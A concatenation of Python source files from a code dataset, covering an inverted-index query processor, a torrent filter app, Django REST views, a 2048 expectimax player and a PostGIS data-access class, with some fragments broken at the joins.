while(i+k<=len(x)):\n block = x[i:i+k]\n i+=k\n block_val = int(block, 2)\n if(block_val == (2**k - 1)):\n break\n else: \n pl.append(b+block_val)\n excess_element = 0\n while(i+8<=len(x)):\n byte = x[i:i+8]\n readByte = int(byte, 2)\n i+=8\n if(readByte<128):\n excess_element = excess_element*128 + readByte\n pl.append(excess_element)\n excess_element = 0\n else:\n excess_element = excess_element*128 + (readByte-128)\n return pl\n\ndef create_lists_to_intersect(c_no, query, indexfile):\n lists_to_intersect = []\n for term in query:\n term_list = []\n if term not in offsetAndLength:\n term_list=[]\n lists_to_intersect.append(term_list)\n elif(c_no==0):\n offset = offsetAndLength[term][0]\n with open(indexfile, \"rb\") as f:\n f.seek(offset)\n encoded = f.read(offsetAndLength[term][1])\n encoded = encoded.decode('utf8')\n term_list = encoded.split(',')\n term_list = [int(ele) for ele in term_list]\n lists_to_intersect.append(term_list)\n elif(c_no==1):\n offset = offsetAndLength[term][0]\n with open(indexfile, \"rb\") as f:\n decoded = 0\n totalDecoded = 0\n f.seek(offset)\n while(totalDecoded=offsetAndLength[term][1]*8):\n break\n if(j>=offsetAndLength[term][1]*8 and uncomp[-1]=='1'):\n break\n j+=1\n c_len+=1\n llx=c_len\n lx=1\n for _ in range(0,llx-1):\n bit = int(uncomp[j])\n lx = lx*2 + bit\n j = j+1\n x = 1\n for _ in range(lx-1):\n bit = int(uncomp[j])\n x = x*2 + bit\n j = j+1\n term_list.append(x) \n lists_to_intersect.append(term_list)\n elif(c_no==3):\n offset = offsetAndLength[term][0]\n with open(indexfile, \"rb\") as f:\n f.seek(offset)\n comp = f.read(offsetAndLength[term][1])\n uncomp = snappy.uncompress(comp)\n strList1 = uncomp.decode()\n strList1 = strList1.split(',')\n term_list = [int(ele) for ele in strList1]\n lists_to_intersect.append(term_list)\n elif(c_no==4 or c_no>5 or c_no<0):\n print('not implemented')\n exit()\n elif(c_no==5):\n offset = offsetAndLength[term][0]\n with open(indexfile, \"rb\") as f:\n f.seek(offset)\n comp = list(f.read(offsetAndLength[term][1]))\n comp = ''.join(['{0:08b}'.format(x) for x in comp])\n uncomp = c5_decode(comp)\n lists_to_intersect.append(uncomp)\n return sorted(lists_to_intersect, key=len)\n\n\n\nif __name__ == '__main__':\n start = time.time()\n queryfile = sys.argv[1]\n resultfile = sys.argv[2]\n indexfile = sys.argv[3]\n dictfile = sys.argv[4]\n c_no = -1\n\n exclist = ',.:;\"(){}[]\\n`\\''\n table = str.maketrans(exclist, ' '*len(exclist), '')\n\n f = open(dictfile, 'r')\n offsetAndLength = json.load(f)\n docId = {}\n docId = offsetAndLength['DocIdMapLength']\n f.close()\n\n stopwords = set()\n with open(indexfile, \"rb\") as f:\n c_no = f.read(1)\n c_no = int.from_bytes(c_no, sys.byteorder)\n\n\n if(c_no==-1):\n print('not_implemented')\n exit()\n \n ps = PorterStemmer()\n\n queries = []\n with open(queryfile, 'r') as f:\n for line in f:\n temp = line.rstrip()\n tempList = temp = temp.translate(str.maketrans(table)).split()\n if(len(tempList)>0):\n queries.append(tempList)\n for query in queries:\n for i in range(0, len(query)):\n query[i] = ps.stem(query[i].lower(), 0, len(query[i])-1)\n qCounter = 0\n # print(queries)\n with open(resultfile,'w') as f:\n f.truncate(0)\n for query in queries:\n lists_to_intersect = create_lists_to_intersect(c_no, query, indexfile) \n f1 = open(resultfile, 'a') \n result = []\n if(len(lists_to_intersect)>0):\n result = lists_to_intersect[0]\n else: \n result = []\n continue \n for list_no in range(1, len(lists_to_intersect)): \n newResult=[] \n len1 = len(result)\n len2 = len(lists_to_intersect[list_no])\n i = 0\n j = 0\n t1 = 0\n t2 = 0\n lastEle = 0\n if(len1>0):\n t1=result[0]\n else:\n result=[]\n break\n if(len2>0):\n t2=lists_to_intersect[list_no][0]\n else: \n result=[]\n break\n while(i= int(min_) * 1024*1024)\n if max_.isnumeric():\n q = q.filter(Torrent.size <= int(max_) * 1024*1024)\n\n accepted[filter_name] = []\n for row in q.all():\n if regex and not re.search(regex, row.name, re.IGNORECASE):\n continue\n\n accepted[filter_name].append(row)\n\n return accepted\n\n @withconfig\n def run(self, db_shell=False, dry_run=False, settings=None):\n if db_shell:\n return self.run_db_session()\n\n self.sync_states(dry_run)\n\n accepted = self.filter(settings)\n if accepted and not dry_run:\n for t_obj in itertools.chain.from_iterable(accepted.values()):\n self.queue_torrent(t_obj)\n\n for (f, accepted) in accepted.items():\n if len(accepted) == 1:\n notify(msg=\"Accepted %s item: %s\" % (f, accepted[0].name))\n if len(accepted) > 1:\n notify(msg=\"Accepted %s items for %s\" % (len(accepted), f))\n", "sub_path": "zizi/apps/bypass/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5633, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "zizi.core.pkgmng.argument", "line_number": 18, "usage_type": "call"}, {"api_name": "zizi.core.pkgmng.argument", "line_number": 23, "usage_type": "call"}, {"api_name": "zizi.core.db.create_session", "line_number": 30, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.dbpath", "line_number": 30, "usage_type": "name"}, {"api_name": "zizi.apps.bypass.backend.TransmissionBackend", "line_number": 31, "usage_type": "call"}, {"api_name": "zizi.extras.logging.get_logger", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 56, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 61, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 61, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 66, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 66, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 67, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 67, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 68, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 68, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 69, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 69, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 70, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 70, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 73, "usage_type": "argument"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.state.in_", "line_number": 74, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.state", "line_number": 74, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 74, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 74, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 88, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 88, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 108, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 108, "usage_type": "name"}, {"api_name": "zizi.extras.notifications.notify", "line_number": 109, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 131, "usage_type": "argument"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.state", "line_number": 131, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.State", "line_number": 131, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.name.like", "line_number": 134, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.name", "line_number": 134, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 134, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.type.in_", "line_number": 137, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.type", "line_number": 137, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 137, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.language.in_", "line_number": 140, "usage_type": "call"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.language", "line_number": 140, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 140, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.size", "line_number": 146, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 146, "usage_type": "name"}, {"api_name": "zizi.apps.torrentspider.store.Torrent.size", "line_number": 148, "usage_type": "attribute"}, {"api_name": "zizi.apps.torrentspider.store.Torrent", "line_number": 148, "usage_type": "name"}, {"api_name": "re.search", "line_number": 152, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 152, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 168, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 168, "usage_type": "attribute"}, {"api_name": "zizi.extras.notifications.notify", "line_number": 173, "usage_type": "call"}, {"api_name": "zizi.extras.notifications.notify", "line_number": 175, "usage_type": "call"}, {"api_name": "zizi.core.misc.withconfig", "line_number": 159, "usage_type": "name"}]} +{"seq_id": "466290066", "text": "from django.http import (\n HttpResponse,\n Http404\n)\nfrom rest_framework import generics\nfrom rest_framework.renderers import JSONRenderer\n\nfrom extras.models import (\n Category,\n Item\n)\nfrom extras.api.serializers import (\n CategorySerializer,\n ItemSerializer,\n)\n\nclass JSONResponse(HttpResponse):\n \"\"\"\n An HttpResponse that renders content into JSON.\n \"\"\"\n def __init__(self, data, **kwargs):\n content = JSONRenderer().render(data)\n kwargs['content_type'] = 'application/json'\n super(JSONResponse, self).__init__(content, **kwargs)\n\n\nclass CategoryList(generics.ListAPIView):\n \"\"\"\n Returns a list of all categories.\n \"\"\"\n model = Category\n serializer_class = CategorySerializer\n\n def get_queryset(self):\n \"\"\"\n Get the categories\n \"\"\"\n categories = Category.objects.all()\n\n return categories\n\n\nclass ItemList(generics.ListAPIView):\n \"\"\"\n Returns a list of all items for the specified category.\n \"\"\"\n model = Item\n serializer_class = ItemSerializer\n\n def get_queryset(self):\n \"\"\"\n Get the items for this category\n \"\"\"\n # make sure there's a category query param\n if 'category' not in self.request.GET:\n raise Http404\n\n # Look up the categtory\n category = Category.objects.filter(name=self.request.GET['category'].capitalize())\n\n # make sure it's legit\n if category:\n\n # save the cateogory for the request\n items = Item.objects.filter(category=category)\n\n return items\n\n raise Http404\n\n# def items(request):\n# \"\"\"\n# Retrieve a list of items from the server, keyed to the category query param\n# \"\"\"\n# # make sure there's a category query param\n# if 'category' not in request.GET:\n# raise Http404\n\n# # save the cateogory for the request\n# key = request.GET['category']\n\n# data = {\n# \"items\": [\n# {\n# \"id\": 1,\n# \"name\": \"ember-infinite-scroll\",\n# \"description\": \"An example of infinite scrolling using ember\",\n# \"url\": 'http://jsbin.com/famer/1',\n# \"repository\": 'https://github.com/bantic/ember-infinite-scroll',\n# },\n# {\n# \"id\": 2,\n# \"name\": \"oblivion\",\n# \"description\": \"An example of oblivion\",\n# \"url\": 'https://github.com',\n# \"repository\": 'https://github.com/commadelimited/extras',\n# },\n# ]\n# }\n# return JSONResponse(data)\n", "sub_path": "extras/api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2634, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.http.HttpResponse", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.renderers.JSONRenderer", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 27, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 27, "usage_type": "name"}, {"api_name": "extras.models.Category", "line_number": 31, "usage_type": "name"}, {"api_name": "extras.api.serializers.CategorySerializer", "line_number": 32, "usage_type": "name"}, {"api_name": "extras.models.Category.objects.all", "line_number": 38, "usage_type": "call"}, {"api_name": "extras.models.Category.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "extras.models.Category", "line_number": 38, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 43, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 43, "usage_type": "name"}, {"api_name": "extras.models.Item", "line_number": 47, "usage_type": "name"}, {"api_name": "extras.api.serializers.ItemSerializer", "line_number": 48, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 56, "usage_type": "name"}, {"api_name": "extras.models.Category.objects.filter", "line_number": 59, "usage_type": "call"}, {"api_name": "extras.models.Category.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "extras.models.Category", "line_number": 59, "usage_type": "name"}, {"api_name": "extras.models.Item.objects.filter", "line_number": 65, "usage_type": "call"}, {"api_name": "extras.models.Item.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "extras.models.Item", "line_number": 65, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 69, "usage_type": "name"}]} +{"seq_id": "257033124", "text": "import copy\nimport itertools\nimport math\nimport random\n\nimport ai\n\nMAX_DEPTH = 3\n\n\ndef merge_left(b):\n # merge the board left\n # this function is reused in the other merges\n # b = [[0, 2, 4, 4], [0, 2, 4, 8], [0, 0, 0, 4], [2, 2, 2, 2]]\n def merge(row, acc):\n # recursive helper for merge_left\n # if len row == 0, return accumulator\n if not row:\n return acc\n\n # x = first element\n x = row[0]\n # if len(row) == 1, add element to accu\n if len(row) == 1:\n return acc + [x]\n # if len(row) >= 2\n if x == row[1]:\n # add row[0] + row[1] to accu, continue with row[2:]\n return merge(row[2:], acc + [2 * x])\n else:\n # add row[0] to accu, continue with row[1:]\n return merge(row[1:], acc + [x])\n\n new_b = []\n for row in b:\n # merge row, skip the [0]'s\n merged = merge([x for x in row if x != 0], [])\n # add [0]'s to the right if necessary\n merged = merged + [0] * (len(row) - len(merged))\n new_b.append(merged)\n # return [[2, 8, 0, 0], [2, 4, 8, 0], [4, 0, 0, 0], [4, 4, 0, 0]]\n return new_b\n\n\ndef merge_right(b):\n # merge the board right\n # b = [[0, 2, 4, 4], [0, 2, 4, 8], [0, 0, 0, 4], [2, 2, 2, 2]]\n def reverse(x):\n return list(reversed(x))\n\n # rev = [[4, 4, 2, 0], [8, 4, 2, 0], [4, 0, 0, 0], [2, 2, 2, 2]]\n rev = [reverse(x) for x in b]\n # ml = [[8, 2, 0, 0], [8, 4, 2, 0], [4, 0, 0, 0], [4, 4, 0, 0]]\n ml = merge_left(rev)\n # return [[0, 0, 2, 8], [0, 2, 4, 8], [0, 0, 0, 4], [0, 0, 4, 4]]\n return [reverse(x) for x in ml]\n\n\ndef merge_up(b):\n # merge the board upward\n # note that zip(*b) is the transpose of b\n # b = [[0, 2, 4, 4], [0, 2, 4, 8], [0, 0, 0, 4], [2, 2, 2, 2]]\n # trans = [[2, 0, 0, 0], [4, 2, 0, 0], [8, 2, 0, 0], [4, 8, 4, 2]]\n trans = merge_left(zip(*b))\n # return [[2, 4, 8, 4], [0, 2, 2, 8], [0, 0, 0, 4], [0, 0, 0, 2]]\n return [list(x) for x in zip(*trans)]\n\n\ndef merge_down(b):\n # merge the board downward\n trans = merge_right(zip(*b))\n # return [[0, 0, 0, 4], [0, 0, 0, 8], [0, 2, 8, 4], [2, 4, 2, 2]]\n return [list(x) for x in zip(*trans)]\n\n\n# location: after functions\nMERGE_FUNCTIONS = {\n 'left': merge_left,\n 'right': merge_right,\n 'up': merge_up,\n 'down': merge_down\n}\n\n\ndef move_exists(b):\n # check whether or not a move exists on the board\n # b = [[1, 2, 3, 4], [5, 6, 7, 8]]\n # move_exists(b) return False\n def inner(b):\n for row in b:\n for x, y in zip(row[:-1], row[1:]):\n # tuples (1, 2),(2, 3),(3, 4),(5, 6),(6, 7),(7, 8)\n # if same value or an empty cell\n if x == y or x == 0 or y == 0:\n return True\n return False\n\n # check horizontally and vertically\n if inner(b) or inner(zip(*b)):\n return True\n else:\n return False\n\n\ndef start():\n # make initial board\n b = [[0] * 4 for _ in range(4)]\n add_two_four(b)\n add_two_four(b)\n return b\n\n\ndef play_move(b, direction):\n # get merge functin an apply it to board\n b = MERGE_FUNCTIONS[direction](b)\n add_two_four(b)\n return b\n\n\ndef add_two_four(b):\n # add a random tile to the board at open position.\n # chance of placing a 2 is 90%; chance of 4 is 10%\n rows, cols = list(range(4)), list(range(4))\n random.shuffle(rows)\n random.shuffle(cols)\n distribution = [2] * 9 + [4]\n for i, j in itertools.product(rows, cols):\n if b[i][j] == 0:\n b[i][j] = random.sample(distribution, 1)[0]\n return (b)\n else:\n continue\n\n\ndef game_state(b):\n for i in range(4):\n for j in range(4):\n if b[i][j] >= 2048:\n return 'win'\n return 'lose'\n\n\ndef test():\n b = [[0, 2, 4, 4], [0, 2, 4, 8], [0, 0, 0, 4], [2, 2, 2, 2]]\n assert merge_left(b) == [[2, 8, 0, 0], [2, 4, 8, 0], [\n 4, 0, 0, 0], [4, 4, 0, 0]]\n assert merge_right(b) == [[0, 0, 2, 8], [0, 2, 4, 8], [\n 0, 0, 0, 4], [0, 0, 4, 4]]\n assert merge_up(b) == [[2, 4, 8, 4], [0, 2, 2, 8],\n [0, 0, 0, 4], [0, 0, 0, 2]]\n assert merge_down(b) == [[0, 0, 0, 4], [0, 0, 0, 8], [\n 0, 2, 8, 4], [2, 4, 2, 2]]\n assert move_exists(b) == True\n b = [[2, 8, 4, 0], [16, 0, 0, 0], [2, 0, 2, 0], [2, 0, 0, 0]]\n assert (merge_left(b)) == [[2, 8, 4, 0], [\n 16, 0, 0, 0], [4, 0, 0, 0], [2, 0, 0, 0]]\n assert (merge_right(b)) == [[0, 2, 8, 4], [\n 0, 0, 0, 16], [0, 0, 0, 4], [0, 0, 0, 2]]\n assert (merge_up(b)) == [[2, 8, 4, 0], [\n 16, 0, 2, 0], [4, 0, 0, 0], [0, 0, 0, 0]]\n assert (merge_down(b)) == [[0, 0, 0, 0], [\n 2, 0, 0, 0], [16, 0, 4, 0], [4, 8, 2, 0]]\n assert (move_exists(b)) == True\n b = [[32, 64, 2, 16], [8, 32, 16, 2], [4, 16, 8, 4], [2, 8, 4, 2]]\n assert (move_exists(b)) == False\n b = [[0, 7, 0, 0], [0, 0, 7, 7], [0, 0, 0, 7], [0, 7, 0, 0]]\n for i in range(11):\n add_two_four(b)\n print(b)\n\n\ndef get_random_move():\n return random.choice(list(MERGE_FUNCTIONS.keys()))\n\n\ndef possible_boards(b):\n # Returns a list of tuples with the boards and their chance of happening.\n boards, n = [], len(b)\n\n # Retrieve the number of empty spaces.\n empty = ai.empty(b)\n\n for i in range(n):\n for j in range(n):\n\n # Check whether the cell is empty.\n if b[i][j] == 0:\n\n # Copy the board and set the value to 2.\n board = copy.deepcopy(b)\n board[i][j] = 2\n\n # Add the board and it's chance of occuring.\n boards.append((0.9 * (100 / empty), board))\n\n # Copy the board and set the value to 4.\n board = copy.deepcopy(b)\n board[i][j] = 4\n\n # Add the board and it's chance of occuring.\n boards.append((0.1 * (100 / empty), board))\n\n return boards\n\n\ndef get_expectimax_move(b):\n # Determine the best move using expectimax.\n best_dir, best_score = 0, -math.inf\n\n for dir in MERGE_FUNCTIONS.keys():\n board = play_move(copy.deepcopy(b), dir)\n\n # Determine the depth based on the number of empty spaces.\n depth = 5 if ai.empty(board) < 6 else 3\n\n # Calculate the expectimax score.\n expectimax_score = expectimax(board, depth, False)\n\n if expectimax_score > best_score:\n best_dir, best_score = dir, expectimax_score\n\n return best_dir\n\n\ndef is_terminal(b):\n # Check whether the board is the terminal board state.\n return not move_exists(b)\n\n\ndef expectimax(board, depth, is_max):\n # Calculate the best move using the expectimax algorithm.\n if depth == 0 or is_terminal(board):\n return ai.heuristic(board)\n\n if is_max:\n value = -math.inf\n\n for dir in MERGE_FUNCTIONS.keys():\n # Create the new board.\n temp_board = play_move(copy.deepcopy(board), dir)\n score = expectimax(temp_board, depth - 1, False)\n value = max(score, value)\n\n return value\n\n else:\n value = 0\n\n for val in possible_boards(board):\n # Create the new board.\n score = (val[0] * expectimax(val[1], depth - 1, True))\n value += score\n\n return value\n", "sub_path": "artificial-intelligence/2048/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 7354, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "random.shuffle", "line_number": 124, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 125, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 127, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 129, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 173, "usage_type": "call"}, {"api_name": "ai.empty", "line_number": 181, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 190, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 197, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 208, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 211, "usage_type": "call"}, {"api_name": "ai.empty", "line_number": 214, "usage_type": "call"}, {"api_name": "ai.heuristic", "line_number": 233, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 236, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 240, "usage_type": "call"}]} +{"seq_id": "493222294", "text": "from __future__ import absolute_import, division, print_function\nfrom builtins import (\n bytes, str, open, super, range, zip, round, input, int, pow, object\n)\n\nfrom sqlalchemy import create_engine, MetaData, Table, text\nfrom geoalchemy2 import Geometry\nimport fiona\nimport geopandas\ntry:\n import osr\nexcept ImportError:\n from osgeo import osr\n\nfrom gaia.filters import filter_postgis\nfrom gaia.geo.gdal_functions import gdal_reproject\nfrom gaia.util import GaiaException, sqlengines\n\n\nclass GaiaDataObject(object):\n def __init__(self, reader=None, dataFormat=None, epsg=None, **kwargs):\n self._data = None\n self._metadata = None\n self._reader = reader\n self._datatype = None\n self._dataformat = dataFormat\n self._epsg = epsg\n\n def get_metadata(self):\n if not self._metadata:\n self._reader.load_metadata(self)\n return self._metadata\n\n def set_metadata(self, metadata):\n self._metadata = metadata\n\n def get_data(self):\n if self._data is None:\n self._reader.load_data(self)\n return self._data\n\n def set_data(self, data):\n self._data = data\n\n def get_epsg(self):\n return self._epsg\n\n def reproject(self, epsg):\n repro = geopandas.GeoDataFrame.copy(self.get_data())\n repro[repro.geometry.name] = repro.geometry.to_crs(epsg=epsg)\n repro.crs = fiona.crs.from_epsg(epsg)\n self._data = repro\n self._epsg = epsg\n\n # Recompute bounds\n geometry = repro['geometry']\n geopandas_bounds = geometry.total_bounds\n xmin, ymin, xmax, ymax = geopandas_bounds\n coords = [[\n [xmin, ymin], [xmax, ymin], [xmax, ymax], [xmin, ymax]\n ]]\n metadata = self.get_metadata()\n bounds = metadata.get('bounds', {})\n bounds['coordinates'] = coords\n metadata['bounds'] = bounds\n self.set_metadata(metadata)\n\n def _getdatatype(self):\n if not self._datatype:\n self.get_metadata()\n if not self._datatype:\n self._datatype = self._metadata.get('type_', 'unknown')\n\n return self._datatype\n\n def _setdatatype(self, value):\n self._datatype = value\n\n datatype = property(_getdatatype, _setdatatype)\n\n def _getdataformat(self):\n if not self._dataformat:\n self.get_metadata()\n\n return self._dataformat\n\n def _setdataformat(self, value):\n self._dataformat = value\n\n dataformat = property(_getdataformat, _setdataformat)\n\n\nclass GDALDataObject(GaiaDataObject):\n def __init__(self, reader=None, **kwargs):\n super(GDALDataObject, self).__init__(**kwargs)\n self._reader = reader\n self._epsgComputed = False\n\n def get_epsg(self):\n if not self._epsgComputed:\n if not self._data:\n self.get_data()\n\n projection = self._data.GetProjection()\n data_crs = osr.SpatialReference(wkt=projection)\n\n try:\n self.epsg = int(data_crs.GetAttrValue('AUTHORITY', 1))\n self._epsgComputed = True\n except KeyError:\n raise GaiaException(\"EPSG code coud not be determined\")\n\n return self.epsg\n\n def reproject(self, epsg):\n self._data = gdal_reproject(self._data, '', epsg=epsg)\n self.epsg = epsg\n\n\nclass PostgisDataObject(GaiaDataObject):\n def __init__(self, reader=None, **kwargs):\n super(PostgisDataObject, self).__init__(**kwargs)\n\n self._reader = reader\n\n self._table = None\n self._hostname = None\n self._dbname = None\n self._user = None\n self._password = None\n self._columns = []\n self._filters = None\n self._geom_column = 'the_geom'\n self._epsg = None\n self._meta = None\n self._table_obj = None\n\n # Define table property\n def _settable(self, table):\n self._table = table\n\n def _gettable(self):\n return self._table\n\n table = property(_gettable, _settable)\n\n # Define hostname property\n def _sethostname(self, hostname):\n self._hostname = hostname\n\n def _gethostname(self):\n return self._hostname\n\n hostname = property(_gethostname, _sethostname)\n\n # Define db property\n def _setdbname(self, dbname):\n self._dbname = dbname\n\n def _getdbname(self):\n return self._dbname\n\n dbname = property(_getdbname, _setdbname)\n\n # Define user property\n def _setuser(self, user):\n self._user = user\n\n def _getuser(self):\n return self._user\n\n user = property(_getuser, _setuser)\n\n # Define password property\n def _setpassword(self, password):\n self._password = password\n\n def _getpassword(self):\n return self._password\n\n password = property(_getpassword, _setpassword)\n\n # Define epsg property\n def _setepsg(self, epsg):\n self._epsg = epsg\n\n def _getepsg(self):\n return self._epsg\n\n epsg = property(_getepsg, _setepsg)\n\n # Define filters property\n def _setfilters(self, filters):\n self._filters = filters\n\n def _getfilters(self):\n return self._filters\n\n filters = property(_getfilters, _setfilters)\n\n # Define geom_column property\n def _setgeom_column(self, geom_column):\n self._geom_column = geom_column\n\n def _getgeom_column(self):\n return self._geom_column\n\n geom_column = property(_getgeom_column, _setgeom_column)\n\n # Define engine property\n def _setengine(self, engine):\n self._engine = engine\n\n def _getengine(self):\n return self._engine\n\n engine = property(_getengine, _setengine)\n\n # etc...\n\n def initialize_engine(self):\n self._engine = self.get_engine(self.get_connection_string())\n\n self.get_table_info()\n self.verify()\n\n # methods additional in PostgisIO\n\n def get_engine(self, connection_string):\n \"\"\"\n Create and return a SQLAlchemy engine object\n\n :param connection_string: Database connection string\n :return: SQLAlchemy Engine object\n \"\"\"\n if connection_string not in sqlengines:\n sqlengines[connection_string] = create_engine(\n self.get_connection_string())\n return sqlengines[connection_string]\n\n def verify(self):\n \"\"\"\n Make sure that all PostgisIO columns exist in the actual table\n \"\"\"\n for col in self._columns:\n if col not in self._table_obj.columns.keys():\n raise GaiaException('{} column not found in {}'.format(\n col, self._table_obj))\n\n def get_connection_string(self):\n \"\"\"\n Get connection string based on host, dbname, username, password\n\n :return: Postgres connection string for SQLAlchemy\n \"\"\"\n auth = ''\n if self._user:\n auth = self._user\n if self._password:\n auth = auth + ':' + self._password\n if auth:\n auth += '@'\n conn_string = 'postgresql://{auth}{host}/{dbname}'.format(\n auth=auth, host=self._hostname, dbname=self._dbname)\n\n return conn_string\n\n def get_epsg(self):\n \"\"\"\n Get the EPSG code of the data\n\n :return: EPSG code\n \"\"\"\n return self._epsg\n\n def get_table_info(self):\n \"\"\"\n Use SQLALchemy reflection to gather data on the table, including the\n geometry column, geometry type, and EPSG code, and assign to the\n PostgisIO object's attributes.\n \"\"\"\n epsg = None\n meta = MetaData()\n table_obj = Table(self._table, meta,\n autoload=True, autoload_with=self._engine)\n if not self._columns:\n self._columns = table_obj.columns.keys()\n geo_cols = [(col.name, col.type) for col in table_obj.columns\n if hasattr(col.type, 'srid')]\n if geo_cols:\n geo_col = geo_cols[0]\n self._geom_column = geo_col[0]\n geo_obj = geo_col[1]\n if self._geom_column not in self._columns:\n self._columns.append(self._geom_column)\n if hasattr(geo_obj, 'srid'):\n epsg = geo_obj.srid\n if epsg == -1:\n epsg = 4326\n if hasattr(geo_obj, 'geometry_type'):\n self._geometry_type = geo_obj.geometry_type\n\n self._epsg = epsg\n self._table_obj = table_obj\n self._meta = meta\n\n def get_geometry_type(self):\n \"\"\"\n Get the geometry type of the data\n\n :return: Geometry type\n \"\"\"\n return self._geometry_type\n\n def get_query(self):\n \"\"\"\n Formulate a query string and parameter list based on the\n table name, columns, and filter\n\n :return: Query string\n \"\"\"\n columns = ','.join(['\"{}\"'.format(x) for x in self._columns])\n query = 'SELECT {} FROM \"{}\"'.format(columns, self._table)\n filter_params = []\n if self._filters:\n filter_sql, filter_params = filter_postgis(self._filters)\n query += ' WHERE {}'.format(filter_sql)\n query += ';'\n return str(text(query)), filter_params\n", "sub_path": "gaia/gaia_data.py", "file_name": "gaia_data.py", "file_ext": "py", "file_size_in_byte": 9236, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "builtins.object", "line_number": 20, "usage_type": "name"}, {"api_name": "geopandas.GeoDataFrame.copy", "line_number": 49, "usage_type": "call"}, {"api_name": "geopandas.GeoDataFrame", "line_number": 49, "usage_type": "attribute"}, {"api_name": "fiona.crs.from_epsg", "line_number": 51, "usage_type": "call"}, {"api_name": "fiona.crs", "line_number": 51, "usage_type": "attribute"}, {"api_name": "builtins.super", "line_number": 95, "usage_type": "call"}, {"api_name": "osgeo.osr.SpatialReference", "line_number": 105, "usage_type": "call"}, {"api_name": "osgeo.osr", "line_number": 105, "usage_type": "name"}, {"api_name": "builtins.int", "line_number": 108, "usage_type": "call"}, {"api_name": "gaia.util.GaiaException", "line_number": 111, "usage_type": "call"}, {"api_name": "gaia.geo.gdal_functions.gdal_reproject", "line_number": 116, "usage_type": "call"}, {"api_name": 